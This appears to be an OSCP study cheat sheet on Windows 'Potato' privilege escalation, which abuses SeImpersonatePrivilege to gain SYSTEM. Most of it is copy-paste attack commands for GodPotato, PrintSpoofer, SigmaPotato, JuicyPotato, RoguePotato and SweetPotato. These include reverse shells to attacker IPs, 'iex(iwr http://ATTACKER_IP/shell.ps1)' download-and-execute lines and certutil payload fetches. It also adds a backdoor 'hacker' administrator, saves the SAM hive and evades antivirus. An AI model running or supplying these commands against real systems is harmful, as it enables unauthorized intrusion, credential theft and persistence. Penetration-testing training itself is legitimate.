Potato Attacks — Token Impersonation to SYSTEM
What problem do Potato attacks solve?
You got a shell as a low-priv service account (IIS iusr, SQL MSSQL$, etc.) — not a normal user, but the account has a dangerous Windows privilege:
SeImpersonatePrivilege Enabled
SeAssignPrimaryTokenPrivilege Enabled
These let the process impersonate other users’ tokens. Potato exploits trick Windows into connecting to your listener as NT AUTHORITY\SYSTEM, then you steal that token and spawn a SYSTEM shell.
Your shell (service account + SeImpersonate)
→ Potato tool tricks SYSTEM into authenticating to you
→ You impersonate SYSTEM token
→ Spawn cmd.exe as SYSTEM
OSCP relevance: Very common on Windows boxes running IIS, SQL Server, or other services. Always run
whoami /privafter getting a Windows shell — if you see SeImpersonate, reach for a Potato before anything else.
📌 1) Check If You’re Eligible
whoami /priv
whoami /all| Privilege | Potato works? |
|---|---|
SeImpersonatePrivilege | ✅ Yes — most Potato tools |
SeAssignPrimaryTokenPrivilege | ✅ Yes — same family |
| Neither | ❌ Try other privesc (services, registry, AlwaysInstallElevated, etc.) |
Common accounts that have this:
| Account / Service | Why |
|---|---|
IIS APPPOOL\... | IIS application pool |
NT SERVICE\MSSQL$... | SQL Server service |
NT AUTHORITY\SERVICE | Generic service accounts |
LOCAL SERVICE / NETWORK SERVICE | Sometimes (depends on hardening) |
📌 2) Which Potato to Use — Decision Guide
If SeImpersonatePrivilege (or SeAssignPrimaryTokenPrivilege) is enabled, try in this order:
| Priority | Tool | Best for |
|---|---|---|
| 1 | GodPotato | Modern OSCP boxes — Server 2012–2022, Win 8–11 |
| 2 | PrintSpoofer | Win 10, Server 2016–2019 when GodPotato fails |
| 3 | SigmaPotato | GodPotato fork — PS reverse shell, in-memory .NET reflection |
| 4 | RoguePotato | JuicyPotato-style blocked locally — needs victim → attacker connectivity |
| 5 | JuicyPotato | Older targets only (Server 2008–2016, pre-1809 Win 10) |
whoami /priv → SeImpersonatePrivilege Enabled?
│
├─ 1. GodPotato (modern default)
├─ 2. [[PrintSpoofer]] (spooler coercion)
├─ 3. SigmaPotato (GodPotato + PS / reflection)
├─ 4. RoguePotato (needs ATTACKER_IP reachable)
├─ 5. JuicyPotato / NG (legacy boxes only)
└─ Fallback: SweetPotato (multiple techniques in one binary)
| Tool | Best for | Needs attacker IP? | Still works on patched OS? |
|---|---|---|---|
| GodPotato | Server 2012–2022, Win 8–11 | No | ✅ Yes (2024–2025 OSCP) |
| PrintSpoofer | Win 10, Server 2016–2019 | No | ✅ Yes |
| SigmaPotato | Same as GodPotato + PS/reflection | Optional (--revshell) | ✅ Yes |
| JuicyPotato / NG | Server 2008–2016, older Win 10 | No | ⚠️ Patched on newer builds |
| RoguePotato | When local JuicyPotato fails | Yes | ⚠️ Situational |
| SweetPotato | Fallback / unknown OS | Sometimes | ✅ Multiple methods |
| RottenPotato | Very old (MS16-075 era) | No | ❌ Ancient only |
📌 3) GodPotato (Use This First on Modern Boxes)
Author: BeichenDream
Works on: Windows Server 2012 – 2022, Windows 8 – 11
Privilege required: SeImpersonatePrivilege
Download / compile
GitHub: BeichenDream/GodPotato · Releases: GodPotato releases
Precompiled binaries — pick the build that matches the target .NET Framework version:
| Binary | Target .NET |
|---|---|
GodPotato-NET4.exe | .NET 4.x — use this on most OSCP boxes |
GodPotato-NET35.exe | .NET 3.5 |
GodPotato-NET2.exe | .NET 2.0 (legacy) |
On Kali — download releases:
mkdir -p ~/Tools/GodPotato && cd ~/Tools/GodPotato
wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe
wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET35.exe
wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET2.exeCheck target .NET before choosing:
reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP"Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse |
Get-ItemProperty -Name Version -ErrorAction SilentlyContinue |
Select PSChildName, VersionFlags
| Flag | Description |
|---|---|
-cmd "COMMAND" | Command to run as SYSTEM (required) |
Usage
REM Verify privilege first
whoami /priv
REM Basic — confirm SYSTEM
.\GodPotato-NET4.exe -cmd "cmd /c whoami"
REM Expected: nt authority\system
REM Interactive SYSTEM cmd
.\GodPotato-NET4.exe -cmd "cmd /c cmd.exe"
REM Add admin user
.\GodPotato-NET4.exe -cmd "cmd /c net user hacker P@ssw0rd123! /add"
.\GodPotato-NET4.exe -cmd "cmd /c net localgroup administrators hacker /add"
REM Reverse shell as SYSTEM
.\GodPotato-NET4.exe -cmd "cmd /c powershell -c \"iex(iwr http://ATTACKER_IP/shell.ps1 -UseBasicParsing)\""From Linux (upload via evil-winrm)
upload /home/kali/tools/GodPotato-NET4.exe C:\Temp\GodPotato.exe
cd C:\Temp
.\GodPotato.exe -cmd "cmd /c whoami"📌 4) PrintSpoofer
Author: itm4n
Works on: Windows 10, Windows Server 2016/2019
Privilege required: SeImpersonatePrivilege
Method: Abuses Print Spooler service to coerce SYSTEM authentication
Full reference (two-liner, revshell workflow, flags, troubleshooting): PrintSpoofer
whoami /priv
REM Quick — serve from Kali: python3 -m http.server -d ~/Tools/potatos 8000
certutil -urlcache -split -f http://ATTACKER:8000/PrintSpoofer64.exe PrintSpoofer64.exe
.\PrintSpoofer64.exe -i -c cmd
.\PrintSpoofer64.exe -c "whoami"
.\PrintSpoofer64.exe -i -c "C:\Windows\Temp\revshell.exe"| Flag | Description |
|---|---|
-i | Interactive — spawn process as SYSTEM |
-c "COMMAND" | Execute single command/program as SYSTEM |
-d "PATH" | Working directory |
→ SeImpersonatePrivilege · Msfvenom · File Transfer
📌 5) SigmaPotato
Author: tylerdotrar (GodPotato fork)
Works on: Windows 8/8.1 – 11, Windows Server 2012 – 2022
Privilege required: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
Why use it: Built-in PowerShell reverse shell, in-memory .NET reflection, bypasses PowerShell 1024-char limit
Download
GitHub: tylerdotrar/SigmaPotato · Releases: SigmaPotato.exe (.NET 4.8) · SigmaPotatoCore.exe (.NET 2.0 — for PowerShell Core reflection)
wget https://github.com/tylerdotrar/SigmaPotato/releases/latest/download/SigmaPotato.exe -O ~/Tools/SigmaPotato.exe| Binary | Use when |
|---|---|
SigmaPotato.exe | Normal execution — most targets |
SigmaPotatoCore.exe | PowerShell Core / .NET reflection from memory |
Flags / usage
| Mode | Command |
|---|---|
| Reverse shell | .\SigmaPotato.exe --revshell ATTACKER_IP 4444 |
| CMD one-liner | .\SigmaPotato.exe "cmd /c whoami" |
| In-memory (no disk) | See reflection example below |
REM Reverse shell — start nc on attacker first: nc -lvnp 4444
.\SigmaPotato.exe --revshell 10.10.14.5 4444
REM Confirm SYSTEM
.\SigmaPotato.exe "cmd /c whoami"REM Load and run from memory (no EXE on disk)
[System.Reflection.Assembly]::Load(
(New-Object System.Net.WebClient).DownloadData("http://ATTACKER/SigmaPotato.exe")
)
[SigmaPotato]::Main("cmd /c whoami")
[SigmaPotato]::Main(@("--revshell","10.10.14.5","4444"))📌 6) JuicyPotato / JuicyPotatoNG
Original author: ohpe
Works on: Windows Server 2008–2016, Windows 7–10 (before patch KB4503359 / build 17763)
Privilege required: SeImpersonatePrivilege
Method: DCOM — tricks a SYSTEM DCOM server into authenticating to your listener
Note: Broken on Windows Server 2019+ and Win10 1809+ due to Microsoft hardening. Use GodPotato or PrintSpoofer on modern targets. Still appears on older OSCP-style boxes.
JuicyPotato flags
| Flag | Description |
|---|---|
-l PORT | Local COM server listen port (e.g., 1337) |
-p PROGRAM | Program to run as SYSTEM (e.g., C:\Windows\System32\cmd.exe) |
-a "ARGS" | Arguments for the program |
-t {CLSID|*} | Trigger CLSID — use * to auto-try all |
-c {CLSID} | Specific CLSID to use |
-z | Test CLSIDs only (don’t exploit) |
-r IP:PORT | RPC server address (advanced) |
Usage
REM Auto CLSID — most common
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami" -t *
REM Add admin user
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user hacker P@ssw0rd123! /add && net localgroup administrators hacker /add" -t *
REM Interactive cmd
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t *
REM Test which CLSIDs work (no exploit)
.\JuicyPotato.exe -l 1337 -z -t *
REM Reverse shell via nc64 (specific CLSID from lab — replace paths/IP)
.\JuicyPotato.exe -l 1337 -p C:\Windows\system32\cmd.exe -a "/c C:\Users\kohsuke\Desktop\nc64.exe 10.10.14.221 9999 -e cmd" -t *Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
REM Attacker listener
nc -lvnp 9999-t *Testing {CLSID} PORT — test/exploit a specific CLSID when auto -t * fails. Get CLSIDs from -z test run or public lists.
JuicyPotatoNG
Updated fork for slightly newer systems — same flags, try if classic JuicyPotato fails:
# GitHub: https://github.com/antonioCoco/JuicyPotatoNG.\JuicyPotatoNG.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami" -t *📌 7) RoguePotato
When to use: JuicyPotato fails because loopback/local RPC restrictions block the DCOM callback
Privilege required: SeImpersonatePrivilege
Requirement: Victim must be able to connect outbound to your attacker machine on a chosen port
Flags
| Flag | Description |
|---|---|
-r ATTACKER_IP | Your attacker IP (where RoguePotato listener runs) |
-e "COMMAND" | Command to execute as SYSTEM |
-l PORT | Port to listen on attacker side (default: 9999) |
-p RPC_PORT | RPC port on victim (default: 135) |
Usage
REM On victim (replace ATTACKER_IP with your tun0/eth0 IP)
.\RoguePotato.exe -r 10.10.14.5 -e "cmd.exe /c whoami" -l 9999
REM Add admin user
.\RoguePotato.exe -r 10.10.14.5 -e "cmd.exe /c net user hacker P@ssw0rd123! /add && net localgroup administrators hacker /add" -l 9999Firewall must allow victim → attacker on the listen port. Common in internal AD labs, less common if victim can’t reach you directly.
📌 8) SweetPotato
Author: CCob
When to use: Fallback — combines multiple coercion techniques in one binary
Privilege required: SeImpersonatePrivilege
Exploit modes (-e)
| Mode | Technique |
|---|---|
EfsRpc | EFS RPC coercion |
PrintSpoofer | Print Spooler (same as PrintSpoofer tool) |
SeImpersonate | Token impersonation path |
DCOM | DCOM-based (JuicyPotato-style) |
Flags
| Flag | Description |
|---|---|
-e EXPLOIT | Exploit technique to use |
-p PROGRAM | Program to run as SYSTEM |
-a "ARGS" | Arguments for program |
-l PORT | Listen port (some modes) |
Usage
REM Try EfsRpc (common default)
.\SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami"
REM Specify exploit type
.\SweetPotato.exe -e EfsRpc -p C:\Windows\System32\cmd.exe -a "/c whoami"
.\SweetPotato.exe -e PrintSpoofer -p C:\Windows\System32\cmd.exe -a "/c whoami"
.\SweetPotato.exe -e DCOM -p C:\Windows\System32\cmd.exe -a "/c whoami"
REM Add admin
.\SweetPotato.exe -e EfsRpc -p C:\Windows\System32\cmd.exe -a "/c net user hacker P@ssw0rd123! /add && net localgroup administrators hacker /add"📌 9) RottenPotato (Historical — MS16-075)
Very old technique (2016). Only relevant on unpatched Windows 7 / Server 2008 R2 / early Server 2016.
REM Metasploit (if you have a meterpreter session)
use exploit/windows/local/ms16_075_reflection
set SESSION 1
runModern OSCP boxes are patched — don’t rely on this. Included for completeness.
📌 10) Full OSCP Workflow
1. Get Windows shell (any method)
whoami
whoami /priv
2. SeImpersonatePrivilege Enabled?
NO → other privesc paths (see [[Windows PrivEsc]])
YES → continue
3. Check OS version
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
4. Upload Potato binary (match arch: x64 vs x86)
certutil -urlcache -split -f http://192.168.45.227/GodPatato-NET4.exe C:\Temp\gp.exe
OR via evil-winrm: upload /home/kali/tools/GodPotato-NET4.exe C:\Temp\gp.exe
5. Run exploit (try in order: GodPotato → PrintSpoofer → SigmaPotato → RoguePotato → JuicyPotato)
.\gp.exe -cmd "cmd /c whoami"
→ nt authority\system ✅
6. Post-SYSTEM
- Dump hashes: reg save HKLM\SAM C:\Temp\SAM + SYSTEM
- Add persistent admin: net user / net localgroup administrators
- Grab flags / pivot
📌 11) Troubleshooting
| Problem | Fix |
|---|---|
Access denied / no SYSTEM | Wrong Potato for OS — try GodPotato → PrintSpoofer → SigmaPotato → SweetPotato |
| JuicyPotato: no CLSID works | OS is patched — switch to GodPotato |
whoami /priv shows nothing useful | Not a service account shell — try WinPEAS/PowerUp |
| x64 vs x86 mismatch | Match binary to target: wmic os get osarchitecture |
| .NET error with GodPotato | Try GodPotato-NET2.exe vs GodPotato-NET4.exe |
| RoguePotato hangs | Firewall blocking victim → attacker; check tun0 IP |
| AV kills binary | Upload to C:\Temp\, use alternate name, or in-memory via PowerShell |
📌 Quick OSCP Cheat Sheet (Copy/Paste)
REM ─── CHECK ──────────────────────────────────────────────────
whoami /priv
systeminfo
REM ─── GODPOTATO (modern — try first) ─────────────────────────
.\GodPotato-NET4.exe -cmd "cmd /c whoami"
.\GodPotato-NET4.exe -cmd "cmd /c net user hacker P@ssw0rd123! /add"
.\GodPotato-NET4.exe -cmd "cmd /c net localgroup administrators hacker /add"
REM ─── PRINTSPOOFER ─────────────────────────────────────────────
REM Full workflow → [[PrintSpoofer]]
.\PrintSpoofer64.exe -i -c cmd
.\PrintSpoofer64.exe -c "whoami"
.\PrintSpoofer64.exe -i -c "C:\Windows\Temp\revshell.exe"
REM ─── SIGMAPOTATO ──────────────────────────────────────────────
.\SigmaPotato.exe "cmd /c whoami"
.\SigmaPotato.exe --revshell ATTACKER_IP 4444
REM ─── JUICYPOTATO (older boxes) ────────────────────────────────
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami" -t *
REM ─── ROGUEPOTATO (needs attacker IP) ────────────────────────
.\RoguePotato.exe -r ATTACKER_IP -e "cmd.exe /c whoami" -l 9999
REM ─── SWEETPOTATO (fallback) ─────────────────────────────────
.\SweetPotato.exe -e EfsRpc -p C:\Windows\System32\cmd.exe -a "/c whoami"
REM ─── UPLOAD FROM KALI ─────────────────────────────────────────
certutil -urlcache -split -f http://ATTACKER_IP/GodPotato-NET4.exe C:\Temp\gp.exe# From attacker — upload via evil-winrm
upload /home/kali/tools/GodPotato-NET4.exe C:\Temp\GodPotato.exe
upload /home/kali/tools/PrintSpoofer64.exe C:\Temp\PrintSpoofer.exe
upload /home/kali/tools/SigmaPotato.exe C:\Temp\SigmaPotato.exe📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.
→ Linux > 📌 1) Basic Manual Enumeration